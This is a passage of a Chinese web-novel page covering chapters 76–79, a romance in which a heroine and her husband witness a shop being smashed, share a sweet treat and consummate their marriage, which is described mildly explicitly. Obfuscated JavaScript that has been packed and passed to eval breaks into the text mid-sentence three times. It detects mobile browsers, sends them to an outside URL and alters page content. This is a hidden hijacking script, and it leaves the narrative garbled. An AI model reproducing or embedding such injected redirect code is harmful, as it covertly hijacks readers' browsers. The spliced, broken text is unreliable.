“不过我身为殿下的未婚妻,日后必要管理许多人,万不能因为只是一点小错就轻易放过,将来酿成大错!”她看着缩着身子连连哀求的裘玉莹,冷声吩咐,“把她店里的假货都砸了!让她没有假货可卖,也算是一个教训!” “是!” 邱家下人得令,尽数上前将店里的珠宝首饰打碎砸断。 裘玉莹眼睁睁看着这一幕,却无力阻止。 “不要!这些是真的!不要砸!不能砸!” “求求你们,不要砸!这些都是真的!” “求求你们!别砸!” “不要!!!” 叶青漓走在街上,耳边忽然传来几声女子的哭求,她闻声望去,赫然看见站在一家首饰铺子门前趾高气昂吩咐人的邱慧怡。 “咦,那不是邱国公家嫡女吗?他们在做什么?” 楚楚郡主和太子之间的事让叶青漓感慨颇多,连带着这个被太子‘亲自’选出来的太子妃她都印象深刻。 顾承宴顺着她的话也看过去,俊眉微蹙。 “好像是在砸店。” “砸店?” 叶青漓大吃一惊,光天化日,朗朗乾坤,就这么生砸别人的铺子? 做了太子妃也不必这么嚣张吧? “住手!” 叶青漓几乎遏制不住自己内心的冲动,丢下顾承宴就跑到小店门前叫停。 站在屋檐下躲避日光的邱慧怡淡定地看了叶青漓一眼,并未言语,邱府的下人们也置若罔闻,手中打砸动作丝毫未停。 “大庭广众之下,邱小姐就这样打砸百姓的铺子,邱国公府的家教就是如此吗?” “你认识我?” 邱慧怡秀眉微蹙,看向叶青漓的眼神带着几分疑惑。 她身后的侍女悄悄上前,“小姐,这位是顾国公府的大少奶奶,就是太子身边如今最得用的那位顾大人的妻子,夏猎的时候咱们见过的。” 提及夏猎,邱慧怡不知想起什么,眸光闪过一丝得意。 “原来是顾国公府的人。”她叫停了侍卫,双手环胸俯视叶青漓,“这家黑店卖假货被我发现了,我大人有大量没有报官,只是帮她把假货全都销毁,免得再出来坑人,不可以吗?” 叶青漓皱了皱眉,万万没想到这其中竟还有这样的缘由。 她垂眸看了眼一片狼藉的铺子,目光落在跪在中央苦苦哀求哭得上气不接下气的裘玉莹身上,眸底划过一丝不忍。 随即轻笑一记,不动声色上前一步挡在了裘玉莹身前,“是我唐突了,不知邱小姐竟是出于好意,只是方才远远瞧着,邱小姐带着下人们人多势众,这店主一个人势单力薄,好好的一家店又被砸得破烂不堪,不知情的还以为是有人恃强凌弱,这才激动了些。” 邱慧怡冷哼一声,“就她这种店,我愿意登门就已经是她三生有幸了!” 叶青漓浅笑着点头,语气诚恳,“不知邱小姐砸完了没?若是没有还请继续。”不等邱慧怡开口叶青漓又道:“只是此处虽然偏僻,却离着城门不远,若是叫更多人看见了,恐怕会有人和我一样误会了小姐。” 邱慧怡正是因为赶着去赴太子的约,才命人直接砸铺子。 下人们知道她心急,什么真的假的一律不管,抄起家伙就一通乱砸,除了已经做好的首饰,店中柜台、桌案、铜镜、装饰都被砸得稀烂。 被叶青漓如此提醒,邱慧怡心底的那股气恼彻底被顾虑打消。 “罢了,我还与人有约,这次就放过她吧!” 她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14465582|143057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说着将眸光转移到叶青漓身上,扯了扯嘴角,“听说夏猎时顾承英受了不轻的伤,这么多天过去了,不知她怎么样了?” 叶青漓想到顾承英身上看着就让人肉疼的伤,眸中笑意微冷,“劳姑娘费心,六妹妹的伤正在恢复中,相信再过些时日就能恢复了。” “哎!”邱慧怡忽然叹了口气,颇有些遗憾地开口,“我知道承英妹妹一向是喜欢殿下的,只是她运气也太不好了,不仅错失良机还伤了自己,白白耽误她之前那么努力!” 叶青漓嘴巴抿成一条直线。 顾承英做事确实有些急躁,将想要当选太子妃的心表现得太过明显,可这不该是她受伤的理由。 邱慧怡不顾叶青漓冷着脸,在侍女的陪同下上了马车。 马车将要离开时,她忽又掀开车帘,朝叶青漓张扬一笑,“夫人是承英妹妹的嫂嫂,不如帮我带句话。若是承英妹妹心里还记挂殿下,将来我嫁给殿下后,倒是可以帮她说说情许她进府。” 进府做什么?做妾吗? 顾国公一向疼爱顾承英,怎么可能让她为人妾室? 哪怕那个人是太子——将来的圣上,也绝无可能! 叶青漓想告诉邱慧怡这件事不用她操心,可女人朝她炫耀之后已带着手下人扬长而去。 叶青漓咬了咬后槽牙,这种说不过也打不得的时候当真有点憋屈! 她摇着头将心底那点不快甩走,转身将注意力放在瘫倒在地上的女人身上。 “你没事吧?” 裘玉莹抬头,眼泪挂在脸上,两道泪痕清晰可见。 这间铺子是师父的全部心血,她们刚刚从叶蕙珠那借来一大箱宝石,如今假的被砸了,真的也被砸了!师父日夜不休才做出五件精品,就为了卖出高价好与叶蕙珠谈判。 如今铺子被砸,自己该怎么向师父交代? “你……”叶青漓将人从地上扶起,仔细观察一番确定她除了一侧脸颊有些泛红外,身上并无其他外伤。她看着裘玉莹语重心长道:“我也是做生意的,知道诚信的重要性,你拿出假货售卖,被人发现后这种情况是难免的。” “以后莫要以次充好了!” “我……我没有卖假货,我是被人骗了!”一滴泪再次从裘玉莹眼眶中流出,“是我表嫂送我的玉石原料,她说那是她多年收藏的,我不知道那是假的!” 叶青漓一听头都大了,听起来这其中还有一部分家务事? 然而她只是个路过的外人,不知事情原委不好评判。 只能拍了拍对方肩膀,“那你先回去问问你表嫂吧,店里的东西被砸成这样,今日也做不成生意了,回去好好说清楚,找找问题所在,下次注意别再把假货掺进去了。” 裘玉莹眼泪再次流出,她不敢去找叶蕙珠。 若她承认了,那她就是故意欺骗自己,她是侍郎千金,又是沈家儿媳,肚子里正怀有孩子,没人会为自己做主! 若她不承认,店被砸了,她和师父该怎么还叶蕙珠这么多珍贵玉石? 邱慧怡即将成为太子妃,身为太子手下一员,顾承宴下意识不想与她有太多交涉,等到邱家人赶着马车离开后,他才走过来。 “青漓,发生什么事了?” 方才还泪眼滂沱的裘玉莹听见声音,抬眼看去,眸底划过一瞬惊艳! 77. 酥山 “这家店卖假货,正好被邱姑娘发现,然后店被砸了。”叶青漓言简意赅。 顾承宴了然点点头。 他也有些奇怪,邱国公做事一向严谨,怎么邱慧怡被选为太子妃后行事就如此嚣张了?这家店卖假货,一切就说得通了。 “既然售卖假货,这一切便是她咎由自取,我们走吧!” “嗯。” 叶青漓虽然对这店家的遭遇很同情,但是她卖假货并不占理。 两人确认店家无事后便离开了。 走在路上,叶青漓回想方才邱慧怡趾高气昂的模样,忍不住回忆起夏猎时楚楚郡主失魂落魄的样子,感慨道:“没想到会在这里遇见这位裘姑娘,如今圣上正在避暑山庄修养身体,等他老人家回宫,想必赐婚的圣旨就要下来了吧?” 到时候楚楚郡主不知会不会又伤心一场? 叶青漓兀自思量着,没注意到身旁顾承宴不太自然的眼神。 “圣上疼爱太子,必然会将太子殿下最喜欢的女子赐给他做太子妃。” “嗯。”叶青漓点头。 顾承宴能陪她整日闲逛的时间不多,不该让别人的事情扰了两人出来玩乐的兴致。 她很快将这些闲事抛诸脑后,“你说的那家味道很好的酥山铺子在哪?我们走了这么久都没看见。” 顾承宴牵起叶青漓的手往前方指了指,“就在那边。” “哪呢?我没看见。” “还在巷子里呢。”顾承宴拉着叶青漓拐了个弯,又走进一条小巷,“京城稍微好点的位置,房价对于普通百姓来说都很贵,想在京城开铺子光是租金就能吓退很多人,所以很多百姓把店都开在角落里。” “刚才那间首饰铺子就是其中一个。” 这一点叶青漓深有体会,她上一世开始做生意时是在沈仕楣当任的县城里,山高皇帝远的地方,物价便宜,加上沈仕楣是一县县令,好歹有几分面子,做起生意也颇为轻松。 这一世,要不是她有嫁妆和叶修恺给的五万两银子,想在京城开店也没那么容易,所以叶青漓前期筹备时也十分吃力。 “不对!” 叶青漓忽然歪着头看向顾承宴,“你可是顾国公府的大公子,自幼养尊处优,身边仆从无数,你怎么会吃过这民间小巷里的美食?” “我小的时候有一阵身体不好,总是咳嗽,舅母听了大夫的话严令禁止我吃任何冰镇之物。当时正是夏日,我又馋得厉害,两个表哥就带我偷偷过来买着吃,吃完擦干净嘴才回府。结果到家时我忍不住咳嗽还是被舅母发现,两个表哥为此挨了好一顿板子!” 顾承宴眸间染上几许笑意,“板子打完,我满心愧疚地去给他们送药,他们俩却比我还馋,要我再买两碗酥山安慰他们。” “然后呢?” 顾承宴摸了摸鼻子,有些不好意思道:“然后我来买时被勾起馋虫,忍不住又吃了一碗,带着酥山回去时又咳嗽了几声,两个表哥就又挨了一顿板子!” “哈哈哈哈哈!”叶青漓看着顾承宴哈哈大笑,“看不出来你小时候也这么坑人?” 顾承宴也笑了,一向平静如水的眸子此刻泛起涟漪,闪着微光。 “是呀,小时候不懂事,给两个表哥添了好多麻烦,他们没少因为我挨板子!” 叶青漓笑意微收,看向顾承宴的眸中隐有几分心疼。 若是纪将军一家没有去边关镇守,有他们在身边陪伴,这十年顾承宴也许会过得更开心,而不是待在山上,每日做着早课苦其心志,劳其筋骨。 她微微用力握了一下顾承宴的手,男人对着她温柔一笑。 一切尽在不言中。 叶青漓被带着从宽阔的街道走到窄窄的街道,再到七拐八拐的小巷子里,要不是顾承宴十分确认自己没走错,叶青漓几乎以为两个人迷路了。 又拐了不知几个弯,两人终于找到他说的那家酥山铺子。 虽然现在临近正午,是一天中最热的时候,这间铺子的生意却不减反增,还没看见店面,叶青漓就已经看到挤满了人的巷子。 两人跟着排队,不一会叶青漓就注意到四周传来一些火热的目光,都是冲着她身边的顾承宴来的。 无他,顾承宴实在太好看了! 这人不知道最近是怎么了,一日穿得比一日招摇。 从前一只木簪就能束起的头发,现在换成一顶鎏金发冠,精致奢华。从前清一色的青色外衣换成蓝白撞色,款式也尤为别致,颈间领口微敞,露出他精致的锁骨。腰带紧紧束起,系着一串禁步,手持一把洒金折扇,公子如玉便是这般! 看得人脸红心跳。 某人还撩人不自知,折扇对着她轻轻摇动,与她说话时也凑得很近,非要看到她小脸微红,呼吸一滞才肯开口说事。 “热不热?” 叶青漓红着脸点头。 顾承宴便将折扇摇得更用力些,清风带着他身上的熏香扑在叶青漓脸上,吹得她脸更红了。 叶青漓定了定神,想开口告诉顾承宴每天别把自己穿得这么好看,有点太勾引人了。 转念一想,又有点开不了这个口。 男人的美貌,妻子的荣耀! 他长得这么帅,叶青漓怎么能不骄傲呢? 叶青漓挺起胸膛,主动站在顾承宴身前,把自己的手伸到对方大掌中宣誓自己的主权,周围那些热烈的目光瞬间少了许多。 顾承宴注意到叶青漓的动作,虽然什么也没说,但是嘴角不自觉勾起,握着她的手也越发用力。 就在两人手心握的都是汗的时候,终于排到他们了。 这家店的酥山通体晶莹,触手生凉,叶青漓手中这份上面撒着金灿灿的桂花,浇上蜂蜜和牛乳,入口便是极致的香甜与冰爽。顾承宴手中那份则插着花树,五彩的颜色引得人食欲大增,叶青漓尝了一口,口感绵密,花树别有一番清甜滋味,也是另一种口味的美味。 “这家店的酥山味道果然不错,炎热夏日吃上一碗,简直就是人间美味!难怪你两个表哥宁愿挨两次打也要再吃一碗!” 顾承宴会心一笑,将自己那份酥山推到叶青漓面前,“喜欢你就多吃一些。” 叶青漓点点头,下意识伸出舌头舔了下唇,淡粉色的唇瓣因为接触到绵密的冰沙变成殷红色,顾承宴眸间微暗,忽然觉得有些热。 对面的人浑然不知,甚至撅起嘴巴,晶亮双眸睁得大大的,“你怎么之前没跟我说过这家店,如今夏天都过去一大半,我岂不是少吃了好多?” 顾承宴抬手把她嘴边蹭到的奶渍擦去,拇指在她柔软的唇瓣上一触既离,眸间含笑,“是我的错,之前一直没想起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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夏日气温高,在外玩耍难免出了一身的汗,叶青漓沐浴净身之后,立刻上了床。 顾承宴紧随其后,沐浴更衣后却没有急着上床,而是走到卧房内新添置的书桌前,拿起一本书开始看。 夏日炎炎,叶青漓正好也睡不着,便捞出一本账本就着枕边的算盘开始对账。 晚风顺着窗牖吹进室内,带来一阵凉意,窗口的铃音伴着算盘的噼啪声此起彼伏。 叶青漓时而念念有词,时而弯眉轻笑,倒是坐在书桌前的顾承宴表情丝毫未变,只在微风拂过时深深吸了口气。 两人一动一静,一坐一卧,十分和谐。 “啪嗒!” 有什么东西掉在地上了。 顾承宴闻声看去,发现那一直噼啪作响的算盘不知何时连同账本掉在床头,叶青漓却捂着肚子蜷缩在床上,脸色发白,额间挂着一层薄汗。 他立刻丢下手里的书,快步走到床边。 “青漓,怎么了?哪不舒服?” “肚子,肚子疼!” 78. 圆房 “怎么会肚子疼?”顾承宴眼底慌乱一闪而逝,“你等着,我去叫大夫!” 一股暖流顺着小腹而下,叶青漓苍白的脸色忽然多了几分红,她咬着唇,连忙伸出手抓住顾承宴, “别!别去!” “你疼得这么厉害,怎么能不看大夫?乖,我马上就回来!” “别……” 看着顾承宴离去的背影,叶青漓无力闭上眼,这回要丢大人了! 大夫被顾承宴叫来后,没过片刻便诊断出叶青漓的症状。 “老夫看夫人脉象强劲,平素身体健康,应是寒凉之物食用过多,导致的月事提前。接下来几日兴许会腹痛难忍,腰酸背疼,严重些的可能还会晕倒。若有需要,老夫可开一副止疼的方子。” 一旁的顾承宴依旧紧皱眉头,“这疼痛来得突然又剧烈,可有根治之法?” “这个嘛,只要夫人平时多注意些,少食寒凉之物,尤其在月事即将来临之前忌口,情况便会好很多。” 叶青漓第一世的时候都没有好办法解决,这里自然也没有法子。 她脸色白涔涔的,“大夫的话我记住了,麻烦您给我开一副止疼药吧!” 她身体素质一向很好,来月事也不怎么疼,这一次腹痛可谓叫她深刻体会了一次‘月事疼’! 顾承宴跟着附和,“劳驾大夫。” “不必客气。” 一碗又苦又烫的止疼药下肚后,叶青漓肚子上的疼没减多少,人先被苦得缩成一团。 顾承宴看着难受得直哼哼的人,有些手足无措。 他轻手轻脚爬上床想要抱抱叶青漓安慰她,却被叶青漓抬手推开。 “好热!你离我远点。” “可是你手脚都是冰凉的。” 叶青漓侧过身子,用后背对着顾承宴,声音发虚,“这种情况是正常的,你今晚去别处睡吧。” 顾承宴表情有些受伤,不明白为什么来了月事自己就不能睡在床上。 叶青漓倒不是嫌弃他身上太热,而是来月事时难免弄脏衣服,两人抱在一起就更容易弄得到处都是,总之很麻烦! 不如各睡各的等这几天过去,刚好现在天气燥热,晚上一个人睡更凉快。 顾承宴坐在床边静了片刻,还是伸出手。 “你别……” “我只帮你暖暖肚子。” 叶青漓还要挣扎,他双手已经停在小腹上,温热的掌心带来的暖意瞬间驱散了一直停驻在小腹的寒意,叶青漓果然舒服不少。 对上男人关心的眸子,叶青漓说不出拒绝的话了。 “那我睡着,你就去睡吧!” “嗯。” 京城正是三伏天,哪怕安静坐着不动也会热出一身汗,更别提叶青漓现在还来了月事。 身上热,肚子冷,冷热交替,难受得她睡觉也紧紧皱着眉头。 正当她不舒服转身换了个姿势时,忽然一阵冷风徐徐吹来,吹散一室燥热,与此同时,腹间暖意依旧未变。 叶青漓眉心归于平缓,呼吸稳定下来,渐渐陷入沉睡。 第二日醒来时,大约是止疼药起了作用,叶青漓已经不觉得肚子疼,只是浑身依旧不舒服,做什么都提不起精神。 顾承宴便抱着她躺在躺椅上,用温热的大掌在她小腹处轻按。 两人紧紧抱着,很快出了满头大汗,叶青漓却并未让顾承宴离开,依旧蜷缩在他怀里。 顾承宴看她脸色依旧白得厉害,有心说起什么转移她的注意力,不知不觉就说到了自己小时候的事。 包括但不限于: 他和表哥躲着纪家下人上树掏鸟蛋,跳下来时顾承宴脸上被树叶刮伤,导致表哥挨打。 在舅舅家和两个表哥一起玩耍,悄悄把舅舅的枪藏起来,后来被舅舅发现,导致表哥挨打。 他和表哥偷拿舅母的胭脂涂在脸上,出门正巧被舅母看见,导致表哥挨打。 “等等!”叶青漓支起身子,“你这么调皮,舅母怎么不打你?总是你两个表哥挨打?” 顾承宴得意一笑,“大概是我小时候长得太可爱了,舅母不忍心。” 叶青漓没好气地撇撇嘴,某人这分明就是‘恃靓行凶’! “那你两个表哥和你一起玩总是挨打,为什么也不会生气?还愿意陪着你继续玩?” 顾承宴不好意思地笑了,“那是因为两个表哥自小只喜欢跟着舅舅舞刀弄枪,先生上的课从来不听,他们的功课都是我帮他们做的。” 叶青漓恍然大悟,“好小子,这要是让舅母知道了,岂不又是一顿毒打?” 顾承宴不自然地摸了摸鼻子,“确实有一次,我着急和表哥去玩,写功课的时候忘记换字迹……” “你……哈哈哈哈哈哈!” 不用顾承宴多说,叶青漓已经能想象到何夫人当时的反应,两个臭小子竟然把功课扔给最小的弟弟做,这还不得好好打一顿! 叶青漓认识的顾承宴一直都是一本正经的,平时说起话来也一脸淡漠的样子,今日他的趣事却一件接着一件,逗得叶青漓前仰后合。 高兴过头的结果就是叶青漓弄脏了衣裙。 昨晚睡觉时她规规矩矩得丝毫不敢乱动,现在却因为他弄脏了衣裙,叶青漓当即恼了,气鼓鼓地将人赶出蔚莲阁。 被赶出门的顾承宴还不明白自己做错了什么,站在门外一脸懵。 “青漓?让我进去,青漓!” 屋内叶青漓正在换衣服,看着裙摆上那团红色,脸色越发不爽。 “不用了,天气这么热,两个人待在一起更热,你去覃竹园凉快凉快吧!” 顾承宴眼睁睁看着采莲端着盆水进了房间,自己却不得进一步,不由得长长叹了口气。 直到采莲又端着水出来,冲顾承宴偷笑,“小姐正在气头上,姑爷还是再等等吧。” “她到底为什么生气?” 采莲转开脸,“这个就要问姑爷你自己了。” 顾承宴不知道叶青漓为什么生气,他在门口站了半天,终于想到个法子。 “昨日我们遇见的邱姑娘身上发生了件大事,青漓难道不想知道吗?” 室内沉寂一瞬,继而传来叶青漓的声音,“什么事?” “你先让我进去,这种事让别人听见不好。” 考虑到邱慧怡未来的身份,叶青漓给顾承宴开了门。 一进门顾承宴便将叶青漓抱住,软着声音向她道歉,“刚才是我错了,青漓别生气了,好不好?” 叶青漓本来也不是故意要生气,只是她总不好当着顾承宴的面脱了衣服换干净的,偏某人看不懂脸色,赖在屋子里不走,叶青漓只好先把他赶出去。 “你刚才说的,邱姑娘到底发生何事了?” 见叶青漓不再抗拒自己的靠近,顾承宴将她拥得更紧,把人带到床边坐下,才道:“昨日太子邀约邱慧怡去城外白云观一游,她在上山途中不慎从山坡摔下,摔断了一条腿。” 叶青漓眨了眨眼,“然后呢?” “没了。” “什么没了?” “就是没了。” “顾承宴!” “我在!” “你给我说清楚!” 顾承宴摊着手,“没什么可说的了。” 叶青漓根本不信,是太子主动邀请邱慧怡去的,结果却让邱慧怡摔伤了腿,这其中必有蹊跷,加上顾承宴是太子手下的人,他必然知道更多内幕。 只是无论叶青漓怎么缠着他,顾承宴都不肯再多透露一句。 她得不到答案,反而把自己累出一身汗,腰间也开始又酸又疼。 “怎么了?又疼了?” 顾承宴注意到叶青漓表情微变,立刻停下脚步,走过来查看她的情况。 “没什么,这是正常的,大夫说我凉的吃多了,会腰酸背疼,等下次注意就好。” 叶青漓不在乎地摆摆手,顾承宴却忽然将人打横抱起放在床上,大手落在叶青漓腹前。 “你做什么?” “帮你按摩。” 叶青漓想说不用,可是那双温暖的手已经开始按摩,两只手落在腰间正好能握住她的腰,时而揉捏,时而转圈,宽大的手掌力道拿捏得刚刚好,腰间的酸疼减轻不少。 叶青漓不再挣扎,放松身体躺着,闭上眼睛慢慢享受这贴心的按摩。 顾承宴没有多少给人按摩的经验,全是凭着小时候看见舅舅给舅母按摩的记忆,一边学习一边观察叶青漓的表情。 看见她舒服得闭上眼睛,便知自己做对了,手上动作也跟着用力起来。 “嗯。” “怎么了?弄疼你了?” “没有,是太舒服了。” 顾承宴松了口气,继续手上的动作。 “嗯。” 叶青漓再次舒服地哼了一声,顾承宴没再多问,只是眸色深了几分,呼吸加重,动作越发认真起来。 被人伺候着按摩的感觉太舒服,叶青漓不知不觉就睡着了,等她醒过来的时候发现自己在顾承宴的臂窝里,男人正一脸认真地看着她,眸底满是温柔。 叶青漓下意识红了脸,“你看着我做什么?” “看你好看。” * 这次月事实在太折磨人,幸好叶青漓她身体底子一向不错,身体的寒气彻底排出后,终于恢复了往日的精力满满。 今日京城的天气凉爽许多,傍晚后,天色变得昏暗起来,乌云越集越厚,几乎与地面相交。 叶青漓连忙吩咐下人把该收的东西收进屋里,刚忙活完,院中大风渐起,吹乱了一院子的花瓣。 耳边有铃音隐隐响起,叶青漓想起来窗台上还挂着顾承宴送她的风铃,虽然那东西是铜制的,沾了雨水也不好。她回房亲自把它取下来,在屋里看了一圈,最后选定挂在床头,等明天天气好了,再把它挂回窗台上。 很快,狂风越来越大,偶有闪电划破天际,照亮整个院子。 顾承宴本来在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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动作不一,场景不一,表情相似。 一股突如其来的躁意爬上她的脖子,攀上脸颊和耳朵,瞬间染上仿若滴血的红。 “对不起……” 叶青漓蹲下身子想将图册收起来,探出去的手却被一只骨节分明的手握住,掌心干燥十分有力。 顾承宴喑哑的声音在她耳边响起,“没关系,本来就是要看的,正好你和我一起。” “我?” 叶青漓像受惊的兔子一样后退一步,不想正中顾承宴怀里被顺势紧抱住。 她用力摇了摇头,“我就不用看了,我不爱看这种东西的。” 叶青漓努力绷着脸说得一本正经,顾承宴站在她身后不由失笑。 “我也不爱看这个,我只爱看青漓。” “但是你不觉得我们两个很需要学习一下吗?” “学,学习?” 叶青漓瞪大了眼睛转头看向顾承宴,男人嘴角依旧带着浅浅的笑意,只是平素里那双清冷的眸子不知何时已经充满欲望。 叶青漓觉得自己仿佛林中被猛虎盯上的猎物,双脚发软,四肢无力,只能呆呆地靠在顾承宴怀里望着他,“……学什么?” “自然是……夫妻间该做的事……” 顾承宴倾身在叶青漓唇边落下一吻,叶青漓下意识闭上眼睛,唇瓣被人轻轻含住,啃咬一下又轻啄几下,贝齿被人撬开,慢慢加深了这个吻。 学习过后的男人果然突飞猛进,叶青漓只觉得浑身发软,渐渐沉迷在这个吻中,不知什么时候就被他带到床边,床幔放下,衣带轻解,直到两人赤裸相对,叶青漓才恍然惊醒。 “不行!” 她红着脸抬手按在两人中间,拒绝顾承宴更进一步,目光直直地顶着头顶的纱幔,一眼都不敢往下瞅。 顾承宴没觉得失落,反而将横在两人之间的柔荑执起,放在唇边轻吻一记,“为什么不行?” 为什么不行?这还用说吗? 叶青漓用力咬着唇。 她很想照顾某人的尊严,可是某人丝毫没有自知之明,俯身堵住她的嘴,再次拉着她沉沦。 “不要……停下……!” 最后一层枷锁被突破后,叶青漓猛然瞪大了眼睛,一时不知自己是该呼疼,还是该惊讶。 “你,你不是不行?” 顾承宴闻言险些泄了气,微微俯身让叶青漓感受到自己的存在感后,才贴在她耳边问道:“为何会觉得我不行?” 叶青漓身体轻颤,眼角无意识涌出泪光,“那为什么你被下药的那天晚上没有……” 顾承宴动作轻柔地吻去她眼角的泪珠,“那次是个意外,我希望这种事是两情相悦的。” 叶青漓:“……” 她掩盖了这么久的事实,所以其实一直是白担心? 她脸上的表情太过明显,顾承宴想看不见都不行。 他俯身堵住红唇,眸中充满侵略之意,“夜还很长,你想知道的我会告诉你的。” 屋外雷声大作,暴雨倾盆,床头的风铃就这么响了一夜! 79. 争辩 第二天醒来时,叶青漓睁开眼发现自己躺在顾承宴怀里,二人紧紧相贴就如昨日一样。 她脸蛋微红,慢慢从顾承宴怀中退开。 翻身坐起时看着顾承宴完美的睡颜,不自觉被吸引着慢慢伸出手。 细软的手指从饱满的额头一路往下,划过浓密得像扇子般的睫毛,摸了摸他高挺的鼻子,慢慢落在那张叶青漓又爱又恨的嘴巴上。 她用手指按了按,唇瓣微陷又很快弹起,软软的,手感很好。 下一刻红唇张开。 “早!” 顾承宴忽然睁开眼,目光清明没有一丝睡意。 叶青漓忙收回手,像做了亏心事一般往后躲,却被顾承宴伸手拦回,用力摔在他身上,鼻子撞在他结实的胸膛,叶青漓疼得连忙伸手揉了揉,下一刻却一动不敢动了。 两人里衣落在地上,叶青漓很轻易就感觉到顾承宴的情动,她连忙抬手按在他胸前,“我,我错了,我不闹你了。” “就这一个错?” 叶青漓想到昨夜男人的胡搅蛮缠,脸蛋越发红,支支吾吾道:“那个,我也不该误会你,你……很行!” 顾承宴眸底溢出笑意,抬手帮叶青漓揉着鼻子,声音魅惑,“看来我昨夜的努力没有白费,总算叫青漓知道我的身体健康了。” 叶青漓尴尬地埋头在顾承宴怀里,声音闷闷的,“我以后不会随便怀疑你了,你别生气了!” 顾承宴把人从怀里揪出来,捧着她的脸蛋,在她唇上亲了亲,眸间闪烁着明亮的光,“青漓,我不生气,我一点都不生气!” 叶青漓疑惑。 “初次听见你对我的误会时我是很生气的,恨不得立刻把你拉回房间叫你见识见识我的厉害!”叶青漓缩了缩身子,顾承宴眸间笑意更深,将她搂得更紧,“但是后来我发现哪怕你觉得我做不了一个男人,也没有想过放弃我,而是费劲心力替我遮掩,还愿意与我共度余生。” “那一刻,我很开心!比从前任何时候都开心!” 叶青漓望着他闪着星星的眼睛,那颗本就因他砰砰乱跳的心越发软了。 “我也开心!” 男人果然还是行了更完美! 两人圆房后,感情越发黏糊,有时候待在一起的氛围容不下第三个人出现。 以采莲为首的下人们肉眼可见两个主子的变化,都悄悄为此感到高兴,完成自己的差事后主动给两人让出空间独处,蔚莲阁充斥着一片祥和甜蜜的氛围。 与此同时,沈家的下人们这几日却过得苦不堪言! 事情还要从裘玉莹铺子被砸说起,她自知今日做不成生意,便将铺子关了门找到西娘子将今日的事情告诉了她。 西娘子五日不眠不休,为的就是一举打响铺子的名声,好从叶蕙珠那里获得谈判权。 骤然听闻这个噩耗,如同被人当头棒喝! ‘卖假货’是比‘卖便宜货’更令她无法接受的事情! 又听闻自己耗费半生心血才开起来的铺子因为裘玉莹的一个失误化为废墟一片,西娘子怒不可遏,当场与裘玉莹断绝了师徒关系,将她赶出门! 裘玉莹没想到自己师父会这么生气,慌乱之间,脑海中只有一个人的身影…… “表姑娘,你不能进去,奴婢还没通报呢!” “让开!” “表姑娘,你别这样!” “我说让开!” 几声骚动之后,裘玉莹一身怒气闯进了院子,“我的铺子被砸了,表嫂现在开心了?” 正在给叶蕙珠缠指甲的小丫鬟闻声一个手抖,手中的花汁不小心涂歪了。 叶蕙珠迅速抽回手,看着指甲旁边的红色花汁,好看的秀眉皱起来,“蠢货,这点小事都做不好!”她转而瞪向裘玉莹,“你这个人懂不懂什么叫规矩,进我的院子要先经过我的同意!” 裘玉莹满目通红,眼眶浮肿,一只手紧紧攥着,隐隐有血迹从指缝流出, “客人发现了假货,不仅把那件假的砸了,还把铺子里所有真的首饰也砸得不能用,表嫂可满意了?” “你在说什么?” 叶蕙珠看着双目通红的裘玉莹,只觉得莫名其妙,自己好好地在家里养胎,跟她的铺子被砸有什么关系? 这副事不关己的态度却让裘玉莹绷成一根弦的情绪彻底爆发! 她身子微微发抖,用力握紧了拳头,脊背挺得笔直,“表嫂是不是觉得我出身卑微,就永远卑微,不论我做什么,表嫂都瞧不起我。可以任意打我,骂我,欺负我,就连我赖以生存的铺子也可以随意拿来玩笑!” 叶蕙珠紧紧皱着眉,满眼疑惑,“你到底要说什么?” “表嫂还要装傻吗?”裘玉莹冷笑一声,“你故意把假的宝石掺在那箱珠宝玉石里,为的不就是看我闹这一出笑话吗?现在你的目的达到了,可以尽情地嘲笑我了!” “什么叫假的宝石,你给我说清楚!” 叶蕙珠忽地眯起眸子,面露不悦,“我给你的东西可都是我曾经精挑细选的,虽说我现在不喜欢那些玩意了,但不代表我的眼光有那么差,我给出去的东西怎么可能有假的?” “你还要狡辩!” “那位客人都把东西砸碎了给我看的!” 裘玉莹一声怒吼,惊飞了榕树上的几只鸟雀,叶蕙珠下意识护住肚子,怒目而视。 “你作死啊!那么大声干什么?吓着我肚子里的孩子怎么办?” 裘氏和沈家众人听见动静赶来的时候,看见的就是叶蕙珠捧着肚子朝着裘玉莹大喝的场景。 裘氏忙站出来,钳着裘玉莹的手用力往后拽,“你这丫头,你表嫂怀孕了你不知道啊,干嘛吓她?” 裘玉莹被她拽得身形踉跄,依旧倔强地站在原地,“表嫂故意给我假的宝石,害我被客人砸了铺子,师父知道铺子被砸后也跟我断绝了师徒关系,我不过是想问问她为什么要这么做?” “啥?” 裘氏停了动作,小心翼翼地抬头看了眼满脸不耐烦的叶蕙珠,“蕙珠啊,玉莹这丫头说得是真的吗?” “哼!她是什么身份,我是什么身份,我看不惯她还用得着这么麻烦,赔上自己的名誉和一箱珠宝?”叶蕙珠扬着下巴,眸间尽是不屑,“我看莫不是她见财心起,想要吞了我的东西不给银子吧!” “你!你血口喷人!” 裘玉莹抬着手往前两步,吓得裘氏连忙将她扯回来。 “你做什么?” 裘玉莹将自己一直攥着的手举得高高的,当着众人的面缓缓张开手。 一摊分不清的红出现在众人眼前。 裘玉莹喉头哽咽一瞬,仰头冲着叶蕙珠道:“假货就在这里,你还有什么可狡辩的?” 